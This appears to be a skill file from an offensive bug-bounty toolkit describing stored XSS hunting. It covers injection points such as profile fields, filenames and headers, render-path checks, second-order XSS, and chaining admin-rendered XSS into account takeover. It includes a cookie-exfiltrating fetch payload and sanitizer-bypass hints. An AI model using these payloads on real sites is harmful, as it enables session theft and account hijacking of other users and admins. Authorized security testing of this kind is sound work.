attack-xss-stored
Stored XSS — injection point mining (profile fields, filenames, headers, uploads), render-path verification, second-order XSS, admin-page chaining
SKILL.md.bountyreaper/skill/attack-xss/stored/SKILL.md
GitHubStored XSS
Objective
Persist a payload server-side and get it to execute in ANOTHER USER'S browser (or an admin's). The render path — who sees the value, in which page, encoded how — is the whole bug. Storing junk that only you ever render is not an XSS.
Methodology
1. Mine injection points (where input gets stored, not echoed)
Priority order (highest yield first):
- Profile/display-name fields — render directory pages, admin user lists
- Markdown/rich-text inputs — comments, descriptions, tickets (HTML-in-md apps)
- File upload metadata — filename (
<script>in name, rendered in file lists), EXIF - HTTP headers with first-order persistence —
User-Agent,Referer→ admin traffic logs - Org/team/workspace names, email display names → rendered on billing/support pages
- Calendar invites, webhooks, invoice notes, support replies
- Interstitial HTML previews: template builders, email/template editors
2. Map the render path BEFORE trusting the storage encoding
inject marker → record WHERE it renders (page, user role, HTTP context)
↓
walk each: HTML body? attribute? JS var? email HTML? PDF report? *admin panel only*?
Second-order trap: input echoes encoded everywhere on phase A, but is decoded inside a template/page served to admins. The stored value is the vector; the render page is the proof location.
3. Payload choice per audience
- Rendered to end users on the same origin: standard reflected-context payloads apply
- Rendered to admins (bigger impact): prefer payload that exfils or keylogs —
fetch('//oob/'+document.cookie)— but keep first PoC as plainalert(1)for the triage gate - Rendered in emails:
onerrorworks in most webmail when HTML mail is permitted;<style>-based exfil has been patched widely — verify before claiming
4. Verification ladder (stored-specific)
- Store → different browser profile / another user / per-platform preview → confirm execution there. your own session rendering it is not enough.
- If payload got sanitized on STORE: re-check on RENDER — some paths decode on output.
- Check every consumer of the field: JSON API consumers, share previews, sitemaps, PDF generators, notification digests — pick the least-hardened.
- For filename/EXIF vectors: verify the list page output context (quoted attr? CDATA?).
5. Chain potential
- Admin-rendered stored XSS + admin session = full ATO: pair with attack-account-takeover
- Self-XSS via stored name + login CSRF/contact import = real impact — document the delivery chain explicitly or the report dies as self-XSS.
Notes
- Rate: store-then-check is slow — batch: park N distinct payloads in N fields, inspect all render surfaces in one crawl. One marker per field (HTML-safe + attribute-safe).
- Payloads that survive sanitizers: mutation tricks (
<svg><p><style>DOM mutation), mXSS for innerHTML sinks — pair with attack-xss-dom when the render uses inserting JS.